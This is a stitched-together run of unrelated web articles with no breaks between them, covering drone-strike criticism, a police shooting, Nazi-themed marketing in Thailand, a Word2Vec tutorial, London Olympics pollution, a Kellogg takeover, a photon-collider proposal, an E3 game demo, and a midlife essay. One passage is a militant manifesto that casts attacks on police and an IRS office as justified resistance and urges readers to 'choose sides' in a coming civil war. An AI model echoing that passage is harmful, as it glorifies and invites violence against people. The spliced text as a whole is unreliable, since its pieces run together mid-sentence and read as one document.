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shoulders in an effort to democratize him, so to speak. Instead of a calculated killer that has taken his share of civilian life, Brennan is heralded as a “legendary, tireless patriot” and a model of American “integrity.” Ethics and values are stressed as a counterweight to the perceived constitutional violations that drone warfare entails. “There’s another reason I value John so much, and that is his integrity and his commitment to the values that define us as Americans. He has worked to embed our efforts in a strong legal framework. He understands we are a nation of laws. In moments of debate and decision, he asks the tough question and he insists on high and rigorous standards. Time and again, he’s spoken to the American people about our counterterrorism policies because he recognizes we have a responsibility to be [as] open and transparent as possible.” The SDNY recently refused to address the killing of 16-year old U.S. citizen Abdulahman al-Awlaki, son of AQAP cleric Anwar al-Awlaki, on the grounds that the Obama administration never released information on his killing. Unlike his father, whose droned body was held aloft as a trophy by Brennan and company, Abdulrahman’s murder was first denied, then silenced and finally labeled an “outrageous mistake” by an anonymous official more than a year later. His or her statements were planted within a glowing profile of the CIA veteran. Brennan was incapable of bringing a shred of peace to Yemen as Obama’s counterterrorism adviser and remains helpless at the CIA – he can only deliver death and destruction. His tireless drone fleet will always kill civilians in between terrorists and the process will stay classified to Americans and Yemenis alike. The Predator and its sole purpose of killing serves as a permanent symbol of U.S. imperialism, and lacks the ability to build relationships at the local level. Mere flyovers cause terror. This policy violates America’s morals, the spirit of the Nobel and the strategic essence of counterinsurgency all at once. A plan that fails to kill more militants than it creates doesn’t qualify for counter-terrorism or counterinsurgency – expedient recklessness is a more accurate definition. “What scares me about drone strikes is how they are perceived around the world,” retired general Stanley McCrystal told Reuters in a new interview, coincidentally implicating Brennan himself. “The resentment created by American use of unmanned strikes… is much greater than the average American appreciates. They are hated on a visceral level, even by people who’ve never seen one or seen the effects of one.” Until U.S. policy undergoes a radical shift in fundamentals, a change unlikely to occur under Brennan, America has already lost its small war in Yemen.
James Gundun is a political scientist and counterinsurgency analyst. His blog, The Trench, covers the underreported areas of U.S. foreign policy. Follow him on Twitter @RealistChannel.Spread the love
Louisville, KY — When Louisville police officer Sarah Stumler, along with her fellow officers, searched an abandoned home Wednesday, looking for a suspect, they thought they’d done their jobs ensuring each room was cleared. First, they worked their way around the bottom floor. Then they cleared the top floor, before bolstering their weapons, apparently satisfied the suspect was no longer in the home.
But on their way out, Stumler noticed something which caught her attention. Suddenly, she drew her firearm, and shouted, “Show me your hands!” But no sooner had she stated the command that she fired one shot into the torso of a shadowy figure hiding behind a mattress which had been propped up against a wall. “Oh s__t!” Stumbler said, almost immediately aware she’d shot a man, maybe unintentionally.
Thirty-eight-year-old Bruce Warrick fell to the ground, still conscious, but in a lot of pain. After following protocol and handcuffing the injured man, Stumler told her fellow officers to fetch a medical kit so that they could attempt to save Warrick’s life. The female officer seemed as shocked as anyone, failing to assist her officers in treating the victim she’d just shot. And when she did begin to help treat his gunshot wound, she forgot to put on her latex gloves, another possible indicator she was not very conscious of her actions following the shooting.
Warwick repeatedly stated he was “dying,” to which Stumler responded with an apparent degree of uncertainty, “you’re fine.” Warrick wasn’t fine. In fact, he was taken into surgery where he had several of his organs removed, according to news reports, and is currently in intensive care, his prognosis still unknown.
The police officers had been called to the scene after neighbors complained they’d seen a man using drugs and entering the abandoned home, none of which is verifiable at this point. What is known, thanks to the quick release of body camera footage by the Louisville PD, is that one of their officers shot an unarmed man, who was attempting to hide from them. Warrick, if he survives his injuries, will most certainly be facing a lifetime of pain and suffering, all caused by the seemingly thoughtless actions of a police officer whose fear apparently outweighed her intelligence, at least for one brief moment.
From the body camera footage of her partner, one could clearly conclude Stumler wasted no time in firing her weapon, not taking those tense moments to even allow Warrick to comply with her demands to show his hands.
We at The Free Thought Project already know how the rest of the story will play out, because we’ve covered stories like this before on dozens of other occasions. An internal, not an external, investigation will take place. The police will determine if they acted within reason and within the law. No outside, independent review boards will be consulted. Officer Stemler will be interviewed for her side of the story, which may have not even happened yet as some departments allow officers who shoot people several days before questioning them.
The female officer will claim the man didn’t show her his hands and therefore, even if for but a split-second, she was in fear for her life, the keywords officers most often use to justify the shooting. Stemler will probably be given paid administrative leave while the investigation takes place, after which time, she will likely be given her job back.
As for Warrick, if he survives, will probably be charged with evading police, spend a month in jail, and a lifetime of living with the effects of his injuries. Maybe he’ll win some sort of settlement in civil court. But ultimately, his case will be chalked up to just another police-involved shooting, and he’ll be just another statistic.What if the Third Reich made fried chicken? A bizarre restaurant in the northern Thai town of Ubon Ratchathani seems to have considered this question when conceiving its logo.
“Hitler” fried chicken has made international news with its offensive take on the KFC logo, which features Adolph Hitler in place of the iconic Colonel Sanders, bow tie, apron and all. KFC says it may sue the restaurant for the controversial trademark breach.
“We find it extremely distasteful and are considering legal action since it is an infringement of our brand trademark and has nothing to do with us,” a spokesperson from KFC’s parent company Yum! told The Huffington Post.
An image of the banner above the restaurant, shuttered in the photo, first made the rounds online via Twitter after Footprint Thailand Handbook author Andrew Spooner spotted the eatery in May. The now infamous shop sells fried chicken, chips, burgers and kebabs.
The Bangkok Post reported that the restaurant has since taken down the contentious sign and changed its name to “H-ler” to dodge further bad press.
Before the signage swap, Bangkok resident Alan Robertson sampled the restaurant’s fare. He said, “The place opened last month and nobody quite knows what to make of it.” He added that he “asked the guy behind the counter why it was called Hitler. He just shrugged his shoulders and said the owners had thought it was a good image.”
Robertson’s comment alludes to a deeper point: this restaurant does not exist in a cultural vacuum. Nor was it the first fast food chain to have its mascot swapped with the Nazi leader. Thailand is home to an incongruous “Hitler chic” trend, which shows up in the most unlikely places.
People can be seen walking the streets of Bangkok in brightly colored T-shirts emblazoned with swastikas, while souvenir stands on the backpacker stronghold of Khao San Road hawk Nazi-themed merchandize – flags, propaganda posters, Nazi eagle banners, reproduced SS helmets – alongside nonthreatening apparel featuring local touchstones like the Chang Beer logo. Ronald McDonald has also been converted into “McHitler” – a cartoonish figure of the dictator with voluminous red hair, with a mechanical left arm raising and lowering in a Nazi salute.
Seemingly oblivious to the evil acts perpetrated under Hitler, McHitler has been used as a donation box for flood relief where it sits outside Seven Stars, a clothing shop in Sukhumvit Road’s Terminal 21 shopping mall owned by an arts university graduate who goes by the nickname “Hut”.
As CNN notes, at Hut’s store Hitler’s face also appears on T-shirts featuring doe-eyed Teletubbies and cartoon pandas that have been melded with the Führer, alongside shirts bearing images of more benign icons like Michael Jackson and Che Guevara (and less benign ones like Kim Jong-Il). “It’s not that I like Hitler,” Hut told CNN. “But he looks funny and the shirts are very popular with young people.”
Former Israeli Ambassador to Thailand, Itzhak Shoham, spoke with Hut about the fact that the McHitler doll “hurts the feelings of every Jew and every civilized person.” He added, “You don’t want to see memories of the Nazi period trivialized in this manner.” After sharing his thoughts with Hut, the doll’s head was covered by a Mexican lucha libre wrestling mask.
Perhaps the most disturbing instance of Nazi chic transpired in September 2011 when a group of high school students in the northern Thai city of Chiang Mai marched to their school sports day wearing full-blown Nazi garb with fake moustaches plastered to their faces. While locals cheered on the passing students, foreign tourists to the popular destination were dumbfounded.
A similarly massive outpouring of Nazi chic occurred in 2007 when hundreds of students held a Nazi fashion parade. The school later publicly apologized and the teacher responsible for the event was fired. Meanwhile, in 2009 a billboard featuring the Führer and the words “Hitler is not dead!” for a waxworks museum in Pattaya also drew the public’s ire.
While Thailand has received the most scrutiny over the Nazi chic phenomenon, it is in fact present in limited doses elsewhere in Asia, from Seoul’s Fifth Reich pub to Hong Kong fashion label IZZUE’s Nazi-inspired clothing line, which was harshly criticized by German and Israeli diplomats in 2003. It has even infiltrated Japan’s cosplay subculture. Not to mention the infamous “Hitler” clothing store in India that was quickly renamed following a flood of complaints from Ahmedabad’s Jewish community and Israeli diplomats.
So what gives? Where does this fascination with the morally repugnant leader come from? While it does not justify the tastelessness of coopting Hitler as a fashion statement, most agree that it is largely done in ignorance and a lack of education on the true horrors of the Holocaust.
“To some Thai kids, especially kids who aren’t terribly well-educated or well-off,” wrote Patrick Winn in the Global Post, swastikas are “sinister and tough in a comic book sort of way. Like Jolly Roger. Like Darth Vader’s helmet. Like the logo for the evil Transformers crew, the Decepticons. And that’s pretty much it.”
He added that dubbed copies of Indiana Jones flicks and Tarantino’s Inglorious Basterds didn’t help much. These Hollywood villainous portrayals instead gave the Nazis a cool “bad guy” edge.
“It’s a lack of exposure to history,” said Harry Soicher, a Romanian who teaches at a Bangkok high school. “If you don’t live in Thailand, you may find it hard to believe they really mean no harm.”Word2Vec
You shall know a word by the company it keeps (Firth, J. R. 1957:11)
The above is exactly what Word2Vec seeks to do : it tries to determine the meaning of a word by analyzing its neighboring words (also called context). The algorithm exists in two flavors CBOW and Skip-Gram. Given a set of sentences (also called corpus) the model loops on the words of each sentence and either tries to use the current word of to predict its neighbors (its context), in which case the method is called “Skip-Gram”, or it uses each of these contexts to predict the current word, in which case the method is called “Continuous Bag Of Words” (CBOW). The limit on the number of words in each context is determined by a parameter called “window size”.
Both Word2Vec architectures. The current word is w(t) and w(t-2)..w(t+2) are context words. (Mikolov et al. 2013)
So if we choose for example the Skip-Gram method, Word2Vec then consists of using a shallow neural network, i.e. a neural network of only one hidden layer, to learn the word embedding. The network first initializes randomly its weights then iteratively adapt these during training to minimize the error it makes when using words to predict their contexts. After a hopefully successful training, the word embedding for each word is obtained by multiplying the network’s weight matrix by the word’s one-hot vector.
Note : Besides allowing for a numerical representation of textual data, the resulting embedding also learn interesting relationships between words and can be used to answer questions such as : king is to queen as father is to …?
For more details on Word2Vec you can have a look at this Stanford lecture or this tutorial by Tensorflow.
Application
At Kwyk we provide math exercises online. Teachers assign homework to their students and each time an exercise is done some data is stored. Then, we use the collected data to evaluate the students’ level and give them tailored review exercises to help them progress. For each exercise that is answered we store a list of identifiers that help us tell : what is the answered exercise?, who is the student?, what is the chapter?… In addition to that, we store a score value that is either (0) or (1) depending on the student success. To evaluate the students’ levels we then simply have to predict this score value and get success probabilities from our classifier.
As you can see, a lot of our features are categorical. Usually, when the number of modalities is small enough, one can simply transform a categorical feature with (n) modalities into (n-1) dummy variables then use that for training. But when the number of modalities is in the many thousands — as it is the case for some of our features — relying on dummy variables becomes inefficient and impracticable.
In order to address this issue our idea is to use Word2Vec to transform categorical features into a relatively small number of usable continuous features using a little trick. To illustrate, let’s consider “exercise_id”, a categorical feature telling us which exercise was answered. In order to be able to use Word2Vec we have to provide a corpus, a set of sentences to feed to the algorithm. But the raw feature — a list of ids — isn’t a corpus per se : the order is completely random and closer ids don’t carry any information about their neighbors. Our trick consists of considering each homework given by a teacher as a “sentence”, a coherent list exercise ids. As a result, ids are naturally gathered by levels, chapters… and Word2Vec can start learning exercise embedding directly on that.
Indeed, thanks to these artificial sentences we were able to use Word2Vec and get beautiful results :
Exercise embedding (3 main components of PCA) colored by level. 6e, 5e, 4e, 3e, 2e, 1e and tm are the french equivalents of the 6th, 7th, 8th, 9th, 10th, 11th and 12th grades in the US.
As we can see, the resulting embedding has a structure. In fact, the 3d-projected cloud of exercises is spiral-shaped with exercises of higher levels following directly those of previous levels. This means that the embedding successfully learned to distinguish exercises of different school levels and regrouped similar exercises together. But that’s not all, using a non-linear dimensionality reduction technique we were able to reduce the whole embedding into a single real valued variable with the same characteristics. In other terms, we obtained an exercise complexity feature that is minimum for 6th grade exercises and grows as the exercises get more and more complex until it is maximum for 12th grade exercises.
Moreover, the embedding also learned relationships between exercises just like Mikolov’s did with English words :
The diagram above shows some examples of the relationships our embedding was able to learn. So if we were to ask the question “an exercise of number addition is to an exercise of number subtraction as an exercise of time addition is to …?” the embedding gives us the answer “an exercise of time subtraction”. Concretely, this means that if we take the difference embedding[Substract(Numbers)] - embedding[Add(Numbers)] and add it to the embedding of an exercise where students are asked to add time values (hours, minutes …) then the closest embedding is one of an exercise that consists of subtracting time values.Air pollution is such in London that drastic measures would be required before 'greenest ever Games' to avoid £175m fine
Britain could be fined up to £175m by the International Olympic Committee if it continues to break air pollution laws by the time the Games begin next August.
The prospect of the air pollution penalty is becoming a major source of embarrassment to the government and Olympic organisers who set a goal of making the Games "the greenest ever" but have already watered down green measures planned for the event.
To meet the legally binding agreement, London may have to reduce traffic levels by more than 30% over a period of nearly a month, raising the possibility of draconian measures such as banning cars with number plates ending in odd and even numbers on alternate days.
Under the non-negotiable host city contract with the IOC – signed by the government and the mayor of London in 2005 – the IOC can withhold 25% of the expected £700m broadcasting income generated from the Games should air quality levels exceed EU limits during the games.
The contract has been given a temporary extension until later this year by the EU for the reduction of levels of small particulate matter (PM10), but has so far failed to find a way to do so and London risks a £300m fine from the European commission later this year.
London is one of the most polluted cities in Europe, with official studies showing that air pollution – mainly from traffic – causes more premature deaths than passive smoking and traffic accidents combined, at a cost of about £2bn a year.
According to the Olympic Delivery Authority's Strategic Environmental Assessment (SEA), published this week, the expected increases in traffic along the Olympic route network of 600km of London roads during the Games will lead to further breaches of European legal limits in areas that already suffer from poor air quality.
Even a 30% reduction in normal traffic during the period of the Olympics may not be enough to bring emissions below the legal limit, it said.
Lawyers said London now has few options left beyond actions such as imposing an odd and even number plate ban throughout the city to enable endurance events, such as the marathon, to take place.
At the last Olympic Games, in 2008, Beijing had to ban more than 1m cars and close factories.
"The SEA shows that there is a real risk that the Games will result in air quality laws being broken in London in 2012," Alan Andrews, a lawyer with the legal group Client Earth, said.
"By failing to take this risk seriously, the government and the mayor are painting themselves into a corner. If air quality limits look like being broken, it's difficult to see what they will be able to do other than impose draconian bans like those used during Beijing 2008.
"Plans need to be put in place now that will ban only the most polluting vehicles from inner London in time for the Games."
"The mayor should be banning all the oldest diesel vehicles from inner London," Simon Birkett, the director of the Campaign for Clean Air in London, said.
The commitments on air quality contained in the contract with the IOC apply in particular to those days when endurance events such as the marathon, the triathlon and the cycling road race take place.
Officials had hoped that reduced traffic during the August holiday season, plus pleas to the public and businesses to change their habits for the duration of the Games, would help reduce pollution.
"It is clearly a problem. It's not London 2012's responsibility, or in its gift to solve it, but it is clearly a problem," Shaun McCarthy, the chair of the Commission for a Sustainable London 2012, an independent body advising the Mayor of London and the Olympics minister, said.
The green impact the Olympics would have here and abroad was a central component of London's winning bid over other cities such as Paris.
It was intended that the infrastructure and built environment of the Games "will be designed to take account of the potential impacts of climate change and will set new standards for sustainable production, consumption and recycling of natural resources. There will also be significant long-term benefits in terms of projects, applications of green technologies".
But some promises have already apparently been broken and compromises made. A pledge to generate 20% of energy on site, mainly from a wind turbine in the Olympic park, has been abandoned and, at most, 9% of energy on site will be from renewables.
Plans to create a zero-waste Games, with all on-site waste recycled, have been reduced, and the athletes' village will be smaller and less green than hoped.
"This is a terrible admission of defeat on air pollution and contradicts all the mayor's promises about the 'greenest games ever'," Darren Johnson, a London assembly Green party member, said.
"Failing to deliver modest energy and waste targets on a seven-year project with billions from the public purse just shows what a mess our mayors of London and the government have made of environmental policy.
"The organisers have failed on many of the promises. They are a long way short of the inspirational revolution in environmental policy we were promised." said Darren Johnson, London assembly Green party member.
The ODA head of sustainability, Richard Jackson, said: "The Olympic park has set new standards. With the exception of the 20% renewables target, we are on track to meet all sustainability targets."
A spokesperson for Transport for London said: "We have a comprehensive package of long-term measures to tackle the biggest sources of pollution and improve air quality."
The panel's pledges... and the reality
Air quality
Pledge: London signed up to the Olympic host contract which specifies that the city must meet international pollution laws.
Reality: Olympic route will impact heavily on air quality making London more likely to breach laws unless it bans 30% of all cars.
Construction
Pledge: 90% of demolition materials to be reused or recycled, half of all materials to be brought in by rail and local waterways and at least 20% of recycled material to be used to build permanent venues and the Olympic village.
Reality: 95% of the buildings and infrastructure on the Olympic site was crushed and melted, but only around 1% reused. £20m was spent restoring a canal to ship 12,000 tonnes of waste and building materials a week, but only 3,000 tonnes were shipped on them in the first two years.
Athletes' village
Pledge: To make the village of 8,000+ homes energy self-sufficient.
Reality: Numbers reduced to 4,700 and homes built to Level 4 – good for UK but not the best possible.
Waste
Pledge: To achieve a 'zero-waste' games by reducing waste, recycling and sending nothing to landfill.
Reality: Plans watered down. Some food waste to be sent to landfill in Bedfordshire, 30% to be incinerated. No catalysation of nearby authorities to improve waste policies.
Energy use
Pledge: To generate 20% of energy on site from renewables.
Reality: The Olympic park to only produce 9% of its post-games energy from renewables. About 1,000 homes in surrounding areas to be insulated. Plans for wind turbines in Hackney and at Eton manor abandoned.
Olympic flame
Pledge: A low-carbon Olympic flame and torch.
Reality: EDF energy announcement expected soon.
Decontamination
Pledge: The site was heavily contaminated and 2.5sq km of contaminated land and 1.4m tonnes of soil had to be cleaned or remediated.
Reality: Independent assessors argue that more than 7,000 tonnes of radioactively contaminated material dumped in a former landfill site has been buried.
Wildlife/Park
Pledge: To create Europe's largest urban park.
Reality: 300,000 wetland plants grown in Norfolk and Wales. Almost 2,000 newts and hundreds of toads plucked from the site's wetlands and waterways. But anger in Greenwich where hundreds of trees will be affected, and the park closed for several months. Future problems could include erosion of park to make way for more housing.
Food
Pledge: To serve "the best of British" food.
Reality: Cadbury, McDonald's and Coca-Cola are the main sponsors, but millions of meals will be prepared by caterers. Hopes that all food would be organic, British and Fairtrade have been watered down. Dutch brewer Heineken have "pouring rights", which means no branded British ale will be sold on the 40 sites.
Carbon footprint
Pledge: To encourage visitors to come by train.
Reality: Event tickets to include London Underground travelcard.Photo
Kellogg looks like someone wants to eat it for breakfast.
Takeover speculation has helped the company’s shares rise more than 8 percent since April, bestowing it with a $25 billion market value. Kellogg may be too big for a Hillshire-like takeover battle, and it carries too much debt to make a traditional leveraged buyout palatable. But a deal like the one Warren E. Buffett and a group of Brazilian financiers struck last year for the ketchup maker Heinz might work.
Kellogg’s $7.4 billion of net debt limits how much a buyer could borrow to juice returns in a straight leveraged buyout. A deal struck at a 20 percent premium to Kellogg’s current market cap, funded with 30 percent equity, would burden it with net debt of more than nine times earnings before interest, tax, depreciation and amortization. That’s too high for comfort.
Heinz shows a more digestible solution. Mr. Buffett and his Brazilian partner 3G financed their $28 billion acquisition with around $8.2 billion of equity and $8 billion of preferred shares. A similar move would value Kellogg at an enterprise value of about $37 billion. Net debt would be 5.4 times Ebitda, a bit lower than the leverage for Heinz. Interest cover would be tight at 1.5 times Ebitda, including the cost of preferred dividends. But Mr. Buffett and friends left Heinz similarly stretched.
Such a deal would still present challenges, requiring a huge equity check and the same long-term approach to returns that Mr. Buffett and 3G took. These partners might double their money on Heinz, but it will take 10 years and require that sales grow 4.5 percent a year and margins jump by a third, Breakingviews calculated at the time.
Mimicking that at Kellogg would be harder. Low cereal sales in the United States mean that analysts do not expect revenue growth to top 3 percent before 2018, according to Thomson Reuters data. And fierce competition in the breakfast aisle may limit gains from cost cuts.
Still, if Kellogg could coax out 5 percent Ebitda growth, investors could feasibly make a 12 percent return on their equity investment, excluding the 9 percent return on the preferred shares. If the Sage of Omaha wants to do a Heinz with Kellogg, he would need a solid operating partner – and a lot of patience.
Kevin Allison is a columnist at Reuters Breakingviews. For more independent commentary and analysis, visit breakingviews.com.Shutterstock
Physicists believe they have created a simple design for turning pure light into matter. They just need to find someone to do it.
A team from Imperial College London developed the design while working on inertial confinement fusion energy. In their work, the team routinely uses something called a hohlraum, a hollow gold cylindrical shell. No one had thought it might be the key to making an 80-year-old theory come to life: the 1934 proposal by US physicists Gregory Breit and John Wheeler that two particles of light known as photons could be smashed together to form an electron and a positron. "We smash particles inside the hohlraum with a powerful laser and that generates lots of x-rays," Oliver Pike, lead author on a paper describing the design in Nature Photonics, explains to Wired.co.uk. "You have hydrogen in there and it implodes to high temperatures and you get fusion. We work on this day in and day out. We're aware of the conditions these lasers can produce, and I guess separate to that we've just always thought the idea of photon collider was something quite cool. We weren't looking till we realised you could put a few things together and they would work really well together."
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Pike describes the original 80-year-old theory as "conceptually simple". It had been regarded as an accurate and almost certainly correct theory, but no one has been able to ever test it. "Other approaches people have used in the past to study this area of particle physics involved smashing two beams together -- that doesn't really work for this," says Pike. "The laws of nature are against you, the beams don't have the right energy. No one had thought about using the hohlraum for anything but fusion, and it really hadn't been thought of as a tool for fundamental physics. We just needed someone to put the two together."
And that is exactly what the Imperial College team did, with the help of a visiting theoretical physicist from the Max Planck Institute for Nuclear Physics. Hohlraum in place, they could propose a design for a new type of photon-photon collider, whereby a high-intensity laser is used to speed up electrons, which are then fired into a slab of gold. This creates a beam of photons with energy around a billion times that of visible light. High-energy laser beams are then fired into the hohlraum, creating a high temperature radiation field. The photon beam from the first part of the experiment is sent through the centre of the hohlraum and finally the photons collide to create matter as they exit the cylinder.
Now the theory has been published, the Imperial College team is talking with various partners to get the experiment started. In the UK, the Atomic Weapons Establishment's Orion laser would be suitable (there, it's used to research the kinds of massive events that occur during nuclear explosions), and in upstate New York the Omega laser at the University of Rochester would also work. "Beyond that there are a good handful of other lasers we could apply this to."
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Pike and his team are clearly proud of the development, and itching to see what further research it will lead to. For instance, he describes gamma ray bursts as "one of the biggest mysteries in astrophysics", and the photon collider could be used to replicate this on a miniature scale, or elements of it at least. "Everyone we talked to thought this was quite a cool thing,"
Pike tells us. "It's a very simple concept to grasp, and a lot of people we told the idea to scratched their heads and said 'I'm sure I've heard that kind of thing before'. But no one has been able to find anything to suggest this has been thought of before."
All going well, Pike is hopeful that we could be making matter from pure light "in 12 months time". "Now it's just probably a case of sorting out the finer details, matching numbers to specific lasers and getting time in these massive facilities."Wow! It has been one week since we demoed at E3 in Los Angeles, and we have finally gathered all the links and media attention on XING that you guys might want to check out from the Expo; as well as put together our own story about the whole experience.
Fortunately, Koriel lives about 40 minutes from the LA Convention Center, so we made our base camp there for the week.
The week before we had spent refining the demo for E3, and later making sure it would run perfectly on the HD Prototype Rift. We dove into optimization when John and James arrived in LA over the weekend, and by Sunday night we had a demo that ran at 60 FPS, but still didn't lose took much of the visual goodness. (We also went out and upgraded the video card in the tower, just to be safe)
Excited to play? We have good news! After talking with lots of people at E3, we've decided to release this demo to the public! Soon you will be able to experience this yourself either on your PC or using your Oculus Rift!
Palmer Luckey and Joe Chen from Oculus came by our booth to say hi :)
In the Media: ___________________________________________________________________
most flattering thing we came away with was this Perhaps thewe came away with was this Kotaku Comic featuring XING: The Land Beyond! ___________________________________________________________________
VR Focus gives a lovey description of the game in the new article.
___________________________________________________________________ Linus Tech Tips interview with Koriel:
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On the last day of E3 we were able to appear on the Gamespot LIVE Stage for an interview, while showing off some brand new UE4 gameplay footage.
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We even made it on to Epic's Unreal Sightings List _________________________________________________________________________________________________________________________________________________________________________________________________________
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This is a little chronological photo gallery of our E3 Experience
Monday was a set up day:
Swag
White Lotus Interactive
Trailers playing on loop to the outer row for passers-by
The Alienware laptop supplied by Indiecade for our DK1 demo
John setting up the HD Protoype Rift
Testing
The next few days looked something like this:
The Team
I see a smile
The Gamespot stage before we went on
That's the wrap up! Thanks to everyone who has supported us so far, and continued to lend us their support. We are so grateful, and we know we wouldn't be here without you! :)
The response we got was overwhelmingly positive! But don't take our word for it, listen to what just two of the attendees had to say about theirSomething is wrong, and the signs of it are everywhere.
Somebody flies a plane into an IRS tax office in Texas, and millions of people around the country cheer, while the media speak of a “senseless attack.”
In a black neighborhood in the slums of Hartford, someone opens fire on a SWAT team that has busted down their door, and people in the gathered crowd of neighbors whisper, “If only they had killed one of them pigs.” The media say nothing.
Women around the country pass around a book that has gotten terrible reviews, about a wife who kills her abusive husband.
A depressed youth goes into a shopping mall and opens fire, convinced he is in The Matrix and is desperate to get out. A psychologist assures the public he was psychotic, but tens of thousands of losers, rejects, and depressives from coast to coast nod silently; they understand him perfectly.
Millions of people drive to the theaters to see Avatar, to dream of a world that can still be saved, and their hearts leap when the forest fights back against the machines, when the wild animals stomp the Marines to death. Film critics talk about “captivating special effects.”
As a greenwashed oil company destroys the Gulf of Mexico with a predictable accident resulting from efficient business practices, the entire population is sedated, in their individual cages of helpless depression, by assurances that oil spills of this magnitude happen every few years, that in fact this act of murder and contempt for our world is normal. We are saved by our numbness. This might not be the end of the world. It could keep going on like this forever.
After police in Seattle are caught viciously beating a 15 year-old girl, a law student takes up arms, firebombs four cop cars, and ambushes a police patrol, killing one officer. The local progressive newspaper erases all the comments from their blog that call the man a hero, leaving only the ones that say he should be sent to the electric chair.
All of these things can be explained away. There are hundreds of thousands of people in this country who are paid to explain these daily catastrophes—reporters, sociologists, psychiatrists, police spokespersons, trend analysts, public relations hacks. Shooting back at the cops or attacking federal buildings is not an appropriate response to police violence or governmental abusiveness, because we live in a civilized society in which we debate the problem, propose solutions, and participate in the political process.
But we’ve been talking about these problems for decades, on their terms, following the rules of the politicians, the judges, the economists, the bankers, and the problems are only getting worse. We’ve submitted so many petitions, so many reports, environmental impact statements, grievance forms, held so many peaceful protests. This time, we are not entering into the same old arguments. The acts of violent resistance against the system are facts. They are happening every day. They will not be argued away.
Our economy devotes more resources to entertaining us, to making us feel happy, than any other economy in history, yet millions of us feel more empty and desperate than ever before. This is a fact. And increasingly, many are rejecting the official reasons, and the Prozac and miracle diets that come with them. This time, we are not going to bring out our set of statistics and argue about who is right. These illegal and angry reactions to the system could be as wrong as possible, and still they would keep on happening.
Our existence is a fact. This time, we will not try to justify ourselves, but to explain why we exist, to illuminate the lines of a civil war that may be approaching. As much as the media want us to believe otherwise, lines of this civil war do not run between red states and blue states, but between above and below, between the governors and the governed.
Up until now we have been slandered and dismissed as the terrorists, the crazies, the criminals, the confused. We want you to know who we really are, why we exist, so that when the time comes, you can choose sides.
Democracy hides a war …
… a war against all of us.
How can we make sense of a system that |
not far off the Psalmist’s three score and ten) but in developing countries it is much lower. At 82, my mother acknowledges that she’s into borrowed time, like those statistical outliers who live beyond 90 and 100 and skew popular perceptions of this ultimate numbers game. Yes, medicine has increased life expectancy – but not as much, or as broadly, as one might think.
As I gear up to turn 50 this summer what has lodged in my mind is this: that it is a mathematical near-certainty that, with my next birthday, I will have passed the halfway mark. That from now on growing older will be less about marking the age I’ve arrived at than about counting down what is left. At 50 I will quite literally be over the hill; ahead of me, the incline runs downwards. And it doesn’t end well.
Last autumn, some 18 months after my fall, I had a hysterectomy. To be precise, it was a sub-total hysterectomy with bilateral salpingo-oophrectomy. All that’s left is my cervix and I kept that for sentimental reasons. It took weeks to recover from the surgery, during which time I experienced a full-bodied plunge into instant menopause. Joints were popping and bones aching. It was impossible to sleep. Every hour and a half, like clockwork, I’d wake up drenched in sweat, throw off my covers and run to the bathroom window to salute the moon – at least that’s how I now think of my stripped-down attempts at rapid cooling.
A kindly friend put a book called The Wisdom of Menopause into my hands, and I gratefully scurried away to prise out its time-trawled pearls. Sadly, this bestselling book by Christiane Northrup, MD turned out to be an embittered tirade against marriage and family – as if our ties were good only for holding us back, rather than up – and, in the worst tradition of US self-help literature, it was lecturing and strident. More edifying was Jane Shilling’s melancholy and poetic memoir of midlife The Stranger in the Mirror, a book honest enough to acknowledge the effrontery of ageing.
On top of affront, of course, there is grief, bewilderment, alienation, frustration – everything you might associate with being forced to cross a border into a foreign land only to be informed that you can never go back; that your passport has been torn up and your old home ransacked. As a new arrival in this strange nation, I wish to parse the experience before its lessons evaporate or transform. To that end, I have pressed into service oestrogen, my new drug of choice.
Oestrogen is the soft end of age-reversing remedies. It is marketed as “natural” – even though much of it is engineered in the laboratory using horse hormone primers. More slyly, it is billed as a “replacement” therapy not a “supplement”. It replenishes depleted stores, topping up your parched system with nothing more than you already had. Like a debt repaid; you’re entitled to it.
And yet oestrogen’s effects are little short of miraculous. It strengthens nails and bones, boosts energy, lifts libido, makes your skin glow and your hair shine. After taking it for a month, I felt as though I’d been holidaying in Thailand. After two, as if I’d just passed my MOT. And I’ve been evangelising about oestrogen ever since, shamelessly pushing it on friends overcome by fatigue, hot flashes, mood swings and insomnia – friends who, like me, are aghast that instead of gently drifting into midlife, midlife has rudely flung itself at them, exploding like a bag of flour.
Using oestrogen is, however, hallucinogenic. Like taking morphine during labour, it insinuates a languorous pause into an otherwise relentless process. Oestrogen heightens my sense of being at a threshold that demands I make conscious decisions about how to tackle ageing. It is in my power now (for as long as I take the stuff) to call the shots on how rapidly I’m willing to let go of my youth. But what exactly should I do? And where should I draw the line? Choice, however illusory, has entered the equation – and with choice comes temptation.
I can see, for example, how easy it might be to do just a little something. A tiny nip and tuck here, a harmless injection there; a barely noticeable lift, suction or augmentation. These reveries of self-improvement taunt me periodically, though they are quickly checked whenever I come across monstrous images of, say, Madonna, her face distorted by prosthetics or fillers, and the fine line between surgery and butchery is brought home with the thumping finality of a cleaver hitting the block.
Although I can see through such determined resistance to ageing into the inner weakness it betrays, I don’t believe for a minute that the smugness that comes with self-denial is any better – all those go-grey campaigners getting off on feeling superior to women who faff around with hair dye. It’s such a Pyrrhic victory. Unless they ditch their granny-like pieties for the unruly witchiness championed by the likes of Germaine Greer, then I feel they’ve nothing to teach me.
Besides, when I journey down that path of imaginative projection, promising myself I will stop hurling spokes into the spinning dials of my body clock, I find that I’m still far from happy about ageing. I feel unprepared for it. Caught on the hop. Exposed. Most of the time I pretend it isn’t happening, only to be pulled up short by that terrible sense of dissonance occasioned: a) by a chance encounter with a mirror, and b) by friends I haven’t seen in a while, when the unchanging, inner me (source of identity, stability, comfort) is forced to confront a visible exterior that’s been subjected to a Dorian Gray-style makeover.
“You look exactly the same,” a friend I’d not seen in a decade told me recently. “Only fuller.” What stung most was that he did look exactly the same. He didn’t even have the graying temples that supposedly confer “dignity” on middle-aged men. Of course men, accustomed in their prime to greater social and economic power than women, often fall very hard in midlife, not least because there are fewer routes to self-reinvention open to them as they age than reveal themselves to women by way of grandmothering, voluntary work, or the Women’s Institute and its modern analogues of baking, knitting, music or gossip circles. (My mother has developed a whole new eightysomething network through playing bridge, which is a 90 per cent female pursuit, as far as I can tell.)
Lonesome or not, men still manage to remain visible as they age, while women are quietly removed from view, especially in high-visibility professions such as the stage and media. Last year the actress Kristin Scott Thomas was widely reported complaining that in midlife she is no longer seen. “Somehow, you just vanish,” she said. You talk and people affect not to hear you. Or they bump into you in the street. Her disclosure struck terror into the heart of every middle-aged woman I know: if someone as blindingly gorgeous and talented as Scott Thomas could disappear, what hope was there for the rest of us?
